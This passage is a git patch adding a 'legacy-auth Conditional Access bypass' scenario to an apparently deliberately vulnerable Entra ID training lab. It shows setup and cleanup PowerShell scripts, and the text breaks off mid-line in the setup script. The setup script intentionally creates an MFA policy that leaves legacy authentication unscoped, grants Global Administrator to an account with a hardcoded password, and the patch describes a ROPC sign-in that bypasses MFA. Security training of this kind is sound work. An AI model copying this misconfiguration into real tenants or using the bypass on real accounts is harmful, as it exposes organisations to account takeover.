From 4929104ed644d277c80698427483dc211d1c80e2 Mon Sep 17 00:00:00 2001 From: ChrisJr404 Date: Tue, 5 May 2026 14:08:38 -0400 Subject: [PATCH] feat: add Scenario 7 - legacy-auth Conditional Access bypass Adds a Beginner-tier scenario that teaches the classic legacy-auth gap in Conditional Access. The setup script provisions a CA policy that requires MFA for all users on all cloud apps, but with clientAppTypes scoped to browser + modern desktop/mobile only. exchangeActiveSync and 'other' (ROPC, IMAP, POP, SMTP AUTH) are silently out of scope, so the target admin account is reachable via legacy auth without an MFA prompt. The walkthrough recovers the flag via a ROPC token request to the v2.0 token endpoint. Defender takeaway: an MFA-only Conditional Access policy without 'Block legacy authentication' (or per-protocol disable via Authentication Methods / Set-CASMailbox) leaves the side door open. Files: - scenarios/EntraGoat-Scenario7-Setup.ps1 - cleanups/EntraGoat-Scenario7-Cleanup.ps1 - solutions/EntraGoat-Scenario7-Solution.ps1 - frontend/public/scripts/challenge7/{setup,cleanup}.ps1 - EntraGoatGUI/Data/Challenges.ps1: register challenge 7 - frontend/src/App.js: register challenge 7 - README.md, docs/challenges.md: list new scenario Requires Entra ID P1 (Conditional Access). --- EntraGoatGUI/Data/Challenges.ps1 | 18 + README.md | 1 + cleanups/EntraGoat-Scenario7-Cleanup.ps1 | 141 ++++++ docs/challenges.md | 1 + .../public/scripts/challenge7/cleanup.ps1 | 141 ++++++ frontend/public/scripts/challenge7/setup.ps1 | 442 +++++++++++++++++ frontend/src/App.js | 19 + scenarios/EntraGoat-Scenario7-Setup.ps1 | 445 ++++++++++++++++++ solutions/EntraGoat-Scenario7-Solution.ps1 | 174 +++++++ 9 files changed, 1382 insertions(+) create mode 100644 cleanups/EntraGoat-Scenario7-Cleanup.ps1 create mode 100644 frontend/public/scripts/challenge7/cleanup.ps1 create mode 100644 frontend/public/scripts/challenge7/setup.ps1 create mode 100644 scenarios/EntraGoat-Scenario7-Setup.ps1 create mode 100644 solutions/EntraGoat-Scenario7-Solution.ps1 diff --git a/EntraGoatGUI/Data/Challenges.ps1 b/EntraGoatGUI/Data/Challenges.ps1 index 6e32c1b..56c7dd3 100644 --- a/EntraGoatGUI/Data/Challenges.ps1 +++ b/EntraGoatGUI/Data/Challenges.ps1 @@ -119,6 +119,24 @@ function Get-EntraGoatChallenges { 'Try enabling CBA with one SP, then use another to upload a trusted root CA and forge your way in. No password? No problem.' ) } + @{ + Id = 7 + Title = 'Legacy Loophole - When MFA Forgot the Side Door' + Description = "Raj Patel runs the messaging stack and remembers every helpdesk shortcut the team ever cut. The tenant rolled out a 'Require MFA for All Users' Conditional Access policy last quarter, but the messaging admin account still answers IMAP and SMTP AUTH for an old line-of-business mailbox. Find the gap in the policy, ride a legacy-auth path past MFA, and lift the flag from the admin's profile." + Difficulty = 'Beginner' + Flag = 'EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}' + StartingCredentials = [ordered]@{ + Username = 'raj.patel@yourtenant.onmicrosoft.com' + Password = 'GoatAccess!123' + } + Hints = @( + 'Conditional Access scopes "client app types" as an allow-list. Look at what is actually scoped.' + 'Modern auth and legacy auth are NOT the same channel for CA evaluation.' + 'ROPC, IMAP, POP, SMTP AUTH and ActiveSync are all "legacy" - any of them will do.' + 'Helpdesk reset passwords have a habit of sticking around.' + 'Microsoft publishes a "Block legacy authentication" CA template for a reason.' + ) + } ) @{ Challenges = $Challenges } } diff --git a/README.md b/README.md index b72efd8..a84ece0 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,7 @@ cd scenarios | 4 | I (Eligibly) Own That | Intermediate | | 5 | Department of Escalations - AU Ready for This? | Advanced | | 6 | CBA (Certificate Bypass Authority) - Root Access Granted | Advanced | +| 7 | Legacy Loophole — When MFA Forgot the Side Door | Beginner | Each scenario includes a setup script, cleanup script, solution walkthrough, and a hidden flag. diff --git a/cleanups/EntraGoat-Scenario7-Cleanup.ps1 b/cleanups/EntraGoat-Scenario7-Cleanup.ps1 new file mode 100644 index 0000000..18f245c --- /dev/null +++ b/cleanups/EntraGoat-Scenario7-Cleanup.ps1 @@ -0,0 +1,141 @@ +<# +.SYNOPSIS +EntraGoat Scenario 7: Cleanup Script +To be run with Global Administrator privileges. + +.DESCRIPTION +Cleans up: +- Users (raj.patel, EntraGoat-admin-s7) +- Conditional Access policy ("EntraGoat S7 - Require MFA for All Users") +- Directory role assignments tied to the deleted admin +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + + +[CmdletBinding()] +param( + [Parameter(Mandatory=$false)] + [string]$TenantId = $null +) + +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess" +) + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - CLEANUP PROCESS |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking required Microsoft Graph modules..." +$RequiredCleanupModules = @("Microsoft.Graph.Authentication", "Microsoft.Graph.Users", "Microsoft.Graph.Identity.DirectoryManagement", "Microsoft.Graph.Identity.SignIns") +foreach ($moduleName in $RequiredCleanupModules) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Please ensure Microsoft Graph SDK is installed. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } +} +#endregion + +# Connect to Microsoft Graph +if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome +} else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome +} + +# Get Tenant Domain +$Organization = Get-MgOrganization +$TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + +# Target Objects +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Cleanup Conditional Access Policy first - cheap and isolated +Write-Host "`n[*] Removing Conditional Access policy..." -ForegroundColor Cyan +$CAPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($CAPolicy) { + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAPolicy.Id -ErrorAction Stop + Write-Host " [+] Deleted CA policy: $CAPolicyName" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete CA policy: $($_.Exception.Message)" -ForegroundColor Red + } +} else { + Write-Host " [-] CA policy not found: $CAPolicyName" -ForegroundColor Yellow +} + +# Cleanup Users +Write-Host "`n[*] Removing users..." -ForegroundColor Cyan + +foreach ($UserUPN in @($LowPrivUPN, $AdminUPN)) { + Write-Verbose " -> Checking user: $UserUPN" + $User = Get-MgUser -Filter "userPrincipalName eq '$UserUPN'" -ErrorAction SilentlyContinue + if ($User) { + try { + Remove-MgUser -UserId $User.Id -Confirm:$false + Write-Host " [+] Deleted user: $UserUPN" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete user: $UserUPN - $($_.Exception.Message)" -ForegroundColor Red + } + } else { + Write-Host " [-] User not found: $UserUPN" -ForegroundColor Yellow + } +} + +# Wait until all target objects are truly deleted before proceeding +function Wait-ForAllDeletions { + param ( + [array]$ObjectsToCheck, + [int]$TimeoutSeconds = 60 + ) + $sw = [System.Diagnostics.Stopwatch]::StartNew() + while ($sw.Elapsed.TotalSeconds -lt $TimeoutSeconds) { + $allDeleted = $true + + foreach ($obj in $ObjectsToCheck) { + if ($obj.Type -eq "User") { + $exists = Get-MgUser -Filter "userPrincipalName eq '$($obj.UPN)'" -ErrorAction SilentlyContinue + if ($exists) { $allDeleted = $false } + } elseif ($obj.Type -eq "CAPolicy") { + $polExists = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$($obj.Name)'" -ErrorAction SilentlyContinue + if ($polExists) { $allDeleted = $false } + } + } + + if ($allDeleted) { + Write-Host "`n[+] Confirmed inexistence of all requested objects" -ForegroundColor DarkGreen + return + } + Start-Sleep -Seconds 15 + } + Write-Host "[-] Warning: Timed out waiting for deletion of some objects." -ForegroundColor Yellow +} + +Write-Host "`n[*] Waiting for objects to be fully purged (this can take a moment)..." -ForegroundColor Cyan +$objectsToCheck = @( + @{ Type = "User"; UPN = $LowPrivUPN }, + @{ Type = "User"; UPN = $AdminUPN }, + @{ Type = "CAPolicy"; Name = $CAPolicyName } +) +Wait-ForAllDeletions -ObjectsToCheck $objectsToCheck + +Write-Host "`nCleanup process for Scenario 7 complete." -ForegroundColor White +Write-Host "=====================================================" -ForegroundColor DarkGray +Write-Host "" diff --git a/docs/challenges.md b/docs/challenges.md index d8c2235..f54f9a7 100644 --- a/docs/challenges.md +++ b/docs/challenges.md @@ -12,6 +12,7 @@ EntraGoat ships with 6 privilege escalation scenarios of increasing difficulty. | 4 | The Eligible Menace — PIM Path to Power | Intermediate | Privileged Identity Management abuse | | 5 | AU to Admin — The Restricted Path | Advanced | Administrative Unit boundary escape | | 6 | Certificate of Insanity — Trusting the Wrong Authority | Advanced | Certificate-based authentication impersonation | +| 7 | Legacy Loophole — When MFA Forgot the Side Door | Beginner | Conditional Access bypass via legacy authentication | ## How to play diff --git a/frontend/public/scripts/challenge7/cleanup.ps1 b/frontend/public/scripts/challenge7/cleanup.ps1 new file mode 100644 index 0000000..18f245c --- /dev/null +++ b/frontend/public/scripts/challenge7/cleanup.ps1 @@ -0,0 +1,141 @@ +<# +.SYNOPSIS +EntraGoat Scenario 7: Cleanup Script +To be run with Global Administrator privileges. + +.DESCRIPTION +Cleans up: +- Users (raj.patel, EntraGoat-admin-s7) +- Conditional Access policy ("EntraGoat S7 - Require MFA for All Users") +- Directory role assignments tied to the deleted admin +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + + +[CmdletBinding()] +param( + [Parameter(Mandatory=$false)] + [string]$TenantId = $null +) + +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess" +) + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - CLEANUP PROCESS |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking required Microsoft Graph modules..." +$RequiredCleanupModules = @("Microsoft.Graph.Authentication", "Microsoft.Graph.Users", "Microsoft.Graph.Identity.DirectoryManagement", "Microsoft.Graph.Identity.SignIns") +foreach ($moduleName in $RequiredCleanupModules) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Please ensure Microsoft Graph SDK is installed. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } +} +#endregion + +# Connect to Microsoft Graph +if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome +} else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome +} + +# Get Tenant Domain +$Organization = Get-MgOrganization +$TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + +# Target Objects +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Cleanup Conditional Access Policy first - cheap and isolated +Write-Host "`n[*] Removing Conditional Access policy..." -ForegroundColor Cyan +$CAPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($CAPolicy) { + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAPolicy.Id -ErrorAction Stop + Write-Host " [+] Deleted CA policy: $CAPolicyName" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete CA policy: $($_.Exception.Message)" -ForegroundColor Red + } +} else { + Write-Host " [-] CA policy not found: $CAPolicyName" -ForegroundColor Yellow +} + +# Cleanup Users +Write-Host "`n[*] Removing users..." -ForegroundColor Cyan + +foreach ($UserUPN in @($LowPrivUPN, $AdminUPN)) { + Write-Verbose " -> Checking user: $UserUPN" + $User = Get-MgUser -Filter "userPrincipalName eq '$UserUPN'" -ErrorAction SilentlyContinue + if ($User) { + try { + Remove-MgUser -UserId $User.Id -Confirm:$false + Write-Host " [+] Deleted user: $UserUPN" -ForegroundColor Green + } catch { + Write-Host " [-] Failed to delete user: $UserUPN - $($_.Exception.Message)" -ForegroundColor Red + } + } else { + Write-Host " [-] User not found: $UserUPN" -ForegroundColor Yellow + } +} + +# Wait until all target objects are truly deleted before proceeding +function Wait-ForAllDeletions { + param ( + [array]$ObjectsToCheck, + [int]$TimeoutSeconds = 60 + ) + $sw = [System.Diagnostics.Stopwatch]::StartNew() + while ($sw.Elapsed.TotalSeconds -lt $TimeoutSeconds) { + $allDeleted = $true + + foreach ($obj in $ObjectsToCheck) { + if ($obj.Type -eq "User") { + $exists = Get-MgUser -Filter "userPrincipalName eq '$($obj.UPN)'" -ErrorAction SilentlyContinue + if ($exists) { $allDeleted = $false } + } elseif ($obj.Type -eq "CAPolicy") { + $polExists = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$($obj.Name)'" -ErrorAction SilentlyContinue + if ($polExists) { $allDeleted = $false } + } + } + + if ($allDeleted) { + Write-Host "`n[+] Confirmed inexistence of all requested objects" -ForegroundColor DarkGreen + return + } + Start-Sleep -Seconds 15 + } + Write-Host "[-] Warning: Timed out waiting for deletion of some objects." -ForegroundColor Yellow +} + +Write-Host "`n[*] Waiting for objects to be fully purged (this can take a moment)..." -ForegroundColor Cyan +$objectsToCheck = @( + @{ Type = "User"; UPN = $LowPrivUPN }, + @{ Type = "User"; UPN = $AdminUPN }, + @{ Type = "CAPolicy"; Name = $CAPolicyName } +) +Wait-ForAllDeletions -ObjectsToCheck $objectsToCheck + +Write-Host "`nCleanup process for Scenario 7 complete." -ForegroundColor White +Write-Host "=====================================================" -ForegroundColor DarkGray +Write-Host "" diff --git a/frontend/public/scripts/challenge7/setup.ps1 b/frontend/public/scripts/challenge7/setup.ps1 new file mode 100644 index 0000000..db943e8 --- /dev/null +++ b/frontend/public/scripts/challenge7/setup.ps1 @@ -0,0 +1,442 @@ +<# + +EntraGoat Scenario 7: Legacy Loophole - When MFA Forgot the Side Door +Setup script to be run with Global Administrator privileges + +This scenario provisions a Conditional Access policy that requires MFA, but +only for modern-auth client apps. Legacy authentication endpoints (ROPC, IMAP, +POP, SMTP AUTH, ActiveSync, "other clients") are excluded from the policy +scope, so a target admin account remains reachable via legacy auth without +ever triggering MFA. + +Requires Microsoft Entra ID P1 (or higher) for Conditional Access. + +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Applications, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + +[CmdletBinding()] +param( + [Parameter(Mandatory = $false)] + [string]$TenantId = $null +) + + +# Configuration +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" +$Flag = "EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}" +$AdminPassword = "Helpdesk!Reset2024" +$LowPrivPassword = "GoatAccess!123" +$standardDelay = 5 # Seconds +$longReplicationDelay = 10 + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - SETUP INITIALIZATION |" -ForegroundColor Cyan +Write-Host "| Legacy Loophole - When MFA Forgot the Side Door |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking and importing required Microsoft Graph modules..." +$RequiredModules = @( + "Microsoft.Graph.Authentication", + "Microsoft.Graph.Applications", + "Microsoft.Graph.Users", + "Microsoft.Graph.Identity.DirectoryManagement", + "Microsoft.Graph.Identity.SignIns" +) +$MissingModules = @() +foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -ListAvailable -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + $MissingModules += $moduleName + } +} + +if ($MissingModules.Count -gt 0) { + Write-Warning "The following required modules are not installed: $($MissingModules -join ', ')." + $choice = Read-Host "Do you want to attempt to install them from PowerShell Gallery? (Y/N)" + if ($choice -eq 'Y') { + try { + Write-Host "Attempting to install $($MissingModules -join ', ') from PowerShell Gallery. This may take a moment..." -ForegroundColor Yellow + Install-Module -Name $MissingModules -Scope CurrentUser -Force -AllowClobber -ErrorAction Stop -Verbose:$false + Write-Verbose "[+] Successfully attempted to install missing modules." + foreach ($moduleName in $MissingModules) { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose " Imported $moduleName" + } + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to automatically install or import modules: $($MissingModules -join ', '). Please install them manually (e.g., Install-Module -Name Microsoft.Graph -Scope CurrentUser) and re-run the script. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Required modules are missing. Please install them and re-run the script." -ForegroundColor White + exit 1 + } +} else { + foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Verbose "[*] Module $moduleName is already loaded." + } + } +} +Write-Verbose "[+] All required modules appear to be present and loaded." +#endregion Module Check and Import + +#region Authentication +Write-Verbose "[*] Connecting to Microsoft Graph..." + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess", + "Application.Read.All" +) + +try { + if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome + } else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome + } + $Organization = Get-MgOrganization + $TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + + Write-Verbose "[+] Connected to tenant: $TenantDomain" +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to connect: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Helper Functions +function New-EntraGoatUser { + param( + [Parameter(Mandatory=$true)] + [string]$DisplayName, + + [Parameter(Mandatory=$true)] + [string]$UserPrincipalName, + + [Parameter(Mandatory=$true)] + [string]$MailNickname, + + [Parameter(Mandatory=$true)] + [string]$Password, + + [Parameter(Mandatory=$false)] + [string]$Department = "", + + [Parameter(Mandatory=$false)] + [string]$JobTitle = "" + ) + + Write-Verbose " -> $DisplayName`: $UserPrincipalName" + $ExistingUser = Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'" -ErrorAction SilentlyContinue + + if ($ExistingUser) { + $User = $ExistingUser + Write-Verbose " EXISTS (using existing)" + $passwordProfile = @{ + Password = $Password + ForceChangePasswordNextSignIn = $false + } + Update-MgUser -UserId $User.Id -PasswordProfile $passwordProfile + } else { + $UserParams = @{ + DisplayName = $DisplayName + UserPrincipalName = $UserPrincipalName + MailNickname = $MailNickname + AccountEnabled = $true + PasswordProfile = @{ + ForceChangePasswordNextSignIn = $false + Password = $Password + } + } + + if ($Department) { $UserParams.Department = $Department } + if ($JobTitle) { $UserParams.JobTitle = $JobTitle } + + $User = New-MgUser @UserParams + Write-Verbose " CREATED" + Start-Sleep -Seconds $standardDelay + } + + return $User +} +#endregion + +#region User Creation +Write-Verbose "[*] Setting up users..." + +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Create or get low-privileged user +Write-Verbose " -> Regular user: $LowPrivUPN" +$LowPrivUser = New-EntraGoatUser -DisplayName "Raj Patel" -UserPrincipalName $LowPrivUPN -MailNickname "raj.patel" -Password $LowPrivPassword -Department "IT Operations" -JobTitle "Mail Systems Engineer" + +# Create or get admin user (the target). Modeled as a hybrid identity used by +# an old on-prem mail relay; Helpdesk gave it a predictable reset and the +# admin never rotated it. +Write-Verbose " -> Admin user: $AdminUPN" +$AdminUser = New-EntraGoatUser -DisplayName "EntraGoat Administrator S7" -UserPrincipalName $AdminUPN -MailNickname "entragoat-admin-s7" -Password $AdminPassword -Department "IT Administration" -JobTitle "Messaging Administrator" +#endregion + +#region Store admin flag in extension attributes +Write-Verbose "[*] Storing flag in admin user's extension attributes..." +try { + $UpdateParams = @{ + OnPremisesExtensionAttributes = @{ + ExtensionAttribute1 = $Flag + } + } + Update-MgUser -UserId $AdminUser.Id -BodyParameter $UpdateParams + Write-Verbose " -> Flag stored successfully" +} catch { + Write-Verbose " -> Flag already set or minor error (continuing)" +} +#endregion + +#region Assign Global Administrator Role to admin user +Write-Verbose "[*] Assigning Global Administrator role to admin user..." + +$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" +$DirectoryRole = Get-MgDirectoryRole -Filter "roleTemplateId eq '$GlobalAdminRoleId'" -ErrorAction SilentlyContinue +if (-not $DirectoryRole) { + Write-Verbose " -> Activating Global Administrator role..." + $RoleTemplate = Get-MgDirectoryRoleTemplate -DirectoryRoleTemplateId $GlobalAdminRoleId + $DirectoryRole = New-MgDirectoryRole -RoleTemplateId $RoleTemplate.Id + Start-Sleep -Seconds $standardDelay +} + +$ExistingMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue +$IsAlreadyAssigned = $false +if ($ExistingMembers) { + foreach ($member in $ExistingMembers) { + if ($member.Id -eq $AdminUser.Id) { + $IsAlreadyAssigned = $true + break + } + } +} +if (-not $IsAlreadyAssigned) { + try { + $RoleMemberParams = @{ + "@odata.id" = "https://graph.microsoft.com/v1.0/users/$($AdminUser.Id)" + } + New-MgDirectoryRoleMemberByRef -DirectoryRoleId $DirectoryRole.Id -BodyParameter $RoleMemberParams -ErrorAction Stop + Write-Verbose " -> Role assigned successfully" + Start-Sleep -Seconds $longReplicationDelay + } catch { + if ($_.Exception.Message -like "*already exist*") { + Write-Verbose " -> Role already assigned" + } else { + throw $_ + } + } +} else { + Write-Verbose " -> Role already assigned" +} +#endregion + +#region Create Conditional Access Policy (THE MISCONFIGURATION) +# The policy looks correct on paper: All users, All cloud apps, require MFA. +# But the clientAppTypes array only lists modern-auth clients - so legacy +# auth endpoints (Exchange ActiveSync, IMAP, POP, SMTP AUTH, ROPC and other +# "other clients") are silently out of scope. Microsoft's "Block legacy +# authentication" template is the supported control to close this gap; +# without it (or an Authentication Policy that disables basic auth), +# attackers with valid credentials can sign in via legacy protocols and +# never see an MFA prompt. +Write-Verbose "[!] CREATING MISCONFIGURATION: Conditional Access policy with no legacy-auth coverage..." + +$ExistingPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($ExistingPolicy) { + Write-Verbose " -> Policy already exists, removing old version to ensure clean state" + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $ExistingPolicy.Id -ErrorAction Stop + Start-Sleep -Seconds $standardDelay + } catch { + Write-Verbose " -> Could not remove existing policy (continuing): $($_.Exception.Message)" + } +} + +$caPolicyBody = @{ + displayName = $CAPolicyName + state = "enabled" + conditions = @{ + # Modern-auth clients only. exchangeActiveSync and other are NOT + # listed - that is the intentional gap this scenario teaches. + clientAppTypes = @("browser", "mobileAppsAndDesktopClients") + applications = @{ + includeApplications = @("All") + } + users = @{ + includeUsers = @("All") + } + } + grantControls = @{ + operator = "OR" + builtInControls = @("mfa") + } +} + +try { + $CreatedPolicy = New-MgIdentityConditionalAccessPolicy -BodyParameter $caPolicyBody -ErrorAction Stop + Write-Verbose " -> CA policy created: $($CreatedPolicy.DisplayName) ($($CreatedPolicy.Id))" + Start-Sleep -Seconds $longReplicationDelay +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to create Conditional Access policy. Tenant must have Entra ID P1 (or higher). Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Final Verification +Write-Verbose "[*] Running final verification..." + +$policyCheck = $false +$policyHasGap = $false +try { + $verifyPolicy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CreatedPolicy.Id -ErrorAction Stop + if ($verifyPolicy.State -eq "enabled") { + $policyCheck = $true + } + $clientAppTypes = $verifyPolicy.Conditions.ClientAppTypes + if ($clientAppTypes -and ($clientAppTypes -notcontains "exchangeActiveSync") -and ($clientAppTypes -notcontains "other")) { + $policyHasGap = $true + } +} catch { + Write-Verbose " -> Could not re-read policy: $($_.Exception.Message)" +} + +if ($policyCheck) { + Write-Verbose " -> [+] CA policy is enabled" +} else { + Write-Verbose " -> [-] CA policy is NOT enabled" +} +if ($policyHasGap) { + Write-Verbose " -> [+] Legacy-auth client types excluded from policy scope (vulnerability present)" +} else { + Write-Verbose " -> [-] Policy unexpectedly covers legacy auth - vulnerability NOT present" +} + +# Verify admin role +$roleCheck = $false +try { + $members = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue + if ($members) { + foreach ($member in $members) { + if ($member.Id -eq $AdminUser.Id) { + $roleCheck = $true + break + } + } + } +} catch { + # role membership read may fail intermittently +} +if ($roleCheck) { + Write-Verbose " -> [+] Admin user holds Global Administrator" +} else { + Write-Verbose " -> [!] Global Admin role verification uncertain (may still be assigned)" +} + +$SetupSuccessful = $policyCheck -and $policyHasGap -and $roleCheck +#endregion + +#region Output Summary +if ($VerbosePreference -eq 'Continue') { + Write-Host "" + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "| SCENARIO 7 SETUP COMPLETED (VERBOSE) |" -ForegroundColor Cyan + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "" + + Write-Host "`nVULNERABILITY DETAILS:" -ForegroundColor Yellow + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " - Conditional Access policy requires MFA but only for modern-auth clients" -ForegroundColor White + Write-Host " - clientAppTypes = browser, mobileAppsAndDesktopClients" -ForegroundColor White + Write-Host " - Legacy-auth paths (exchangeActiveSync, other) are unscoped" -ForegroundColor White + Write-Host " - ROPC, IMAP/POP/SMTP AUTH, and ActiveSync sign-ins bypass MFA entirely" -ForegroundColor White + Write-Host " - Admin account password is reachable via password spray over legacy auth" -ForegroundColor White + + Write-Host "`nATTACKER CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + + Write-Host "`nCONDITIONAL ACCESS POLICY:" -ForegroundColor Blue + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Name: " -ForegroundColor White -NoNewline + Write-Host "$CAPolicyName" -ForegroundColor Cyan + Write-Host " Policy ID: " -ForegroundColor White -NoNewline + Write-Host "$($CreatedPolicy.Id)" -ForegroundColor Cyan + + Write-Host "" + Write-Host "FLAG: " -ForegroundColor Green -NoNewline + Write-Host "$Flag" -ForegroundColor Cyan + + Write-Host "`n=====================================================" -ForegroundColor DarkGray + Write-Host "" +} else { + Write-Host "" + if ($SetupSuccessful) { + Write-Host "[+] " -ForegroundColor Green -NoNewline + Write-Host "Scenario 7 setup completed successfully" -ForegroundColor White + Write-Host "" + Write-Host "Objective: Sign in as the admin user and retrieve the flag." -ForegroundColor Gray + Write-Host "" + Write-Host "`nYOUR CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host 